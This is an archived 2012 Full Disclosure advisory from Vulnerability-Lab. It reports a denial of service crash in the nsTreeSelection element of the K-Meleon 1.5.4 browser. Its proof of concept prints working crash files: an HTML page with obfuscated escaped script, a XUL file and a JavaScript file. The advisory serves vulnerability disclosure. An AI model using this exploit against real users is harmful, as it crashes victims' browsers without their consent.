Full Disclosure mailing list archives

K-Meleon Browser v1.5.4 - Denial of Service Vulnerability


From: Research <research () vulnerability-lab com>
Date: Sat, 14 Apr 2012 06:26:47 +0200

Title:
======
K-Meleon Browser v1.5.4 - Denial of Service Vulnerability


Date:
=====
2012-04-14


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=510


VL-ID:
=====
510


Introduction:
=============
K-Meleon is an extremely fast, customizable, lightweight web browser based on the Gecko 
layout engine developed by Mozilla which is also used by Firefox. K-Meleon is Free, Open 
Source software released under the GNU General Public License and is designed specifically 
for Microsoft Windows operating systems. 

(Copy of the Vendor Homepage: http://kmeleon.sourceforge.net )


Abstract:
=========
Vulnerability Laboratory Research Team discovered a remote Dangle pointer (Denial of Service) Vulnerability on K-Meleon 
Browser v1.5.4.


Report-Timeline:
================
2012-04-14:     Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A denial of service vulnerability is detected on K-Meleon Browser v1.5.4 . The vulnerability allows 
an attacker to form manipulated files to crash th victims browser stable when processing to request.
The null pointer dos vulnerability is located nsTreeSelection element. Successful exploitation results
in a stable (bex exception) application (StackHash_2c85) crash.

Vulnerable Module(s):
                                [+] nsTreeSelection element

Picture(s):
                                ../1.png
                                ../2.png
                                ../3.png


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers. Victim only need to visit the 
malicious file (frame-class.html) to crash stable. For demonstration or reproduce ...

frame-class.html
<script language=JavaScript>m='%3Chtml%3E%0A%3Capplet%20code%3D%22hexHEX.class%22%20width
%3D100%20height%3D140%3E%3C/applet%3E%0A%3Cscript%3Edocument.location%3D%22tree.xul%22%3C/
script%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>


tree.xul
<?xml version="1.0"?>
<?xml-stylesheet href="chrome://global/skin/" type="text/javascript"?>
<window
  id="poc-test"
  title="TESTING EXPLOIT"
  orient="vertical"
  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; onload="doSelect()">
<script src="rem0ve.js"/> 
 <tree id="penetrationtest" rows="1" onselect="doSelect()">
<treechildren>  
  <treeitem container="true" open="true">
    <treerow>  
<treecell label="rem0ve () vulnerability-lab com"/>  
    </treerow>  
  </treeitem>  
</treechildren>  
 </tree>
</window>



rem0ve.js
function Init()
{
var tree=document.getElementById('penetrationtest');
tree.view.selection.select(0);
doSelect();
}
function doSelect()
{
  var tree=document.getElementById('penetrationtest');
  var sel = tree.view.selection;
  sel.tree = { invalidateRange: function(v,l)
  {
        sel.clearSelection();
        }
  }
}
setTimeout("Init()",500);


Risk:
=====
The security risk of the denial of service vulnerability is estimated as medium(-).


Credits:
========
Vulnerability Research Laboratory Team  -   N/A   Anonymous


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from 
Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, 
including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                                                Copyright © 2012|Vulnerability-Lab




-- 
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research () vulnerability-lab com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Current thread: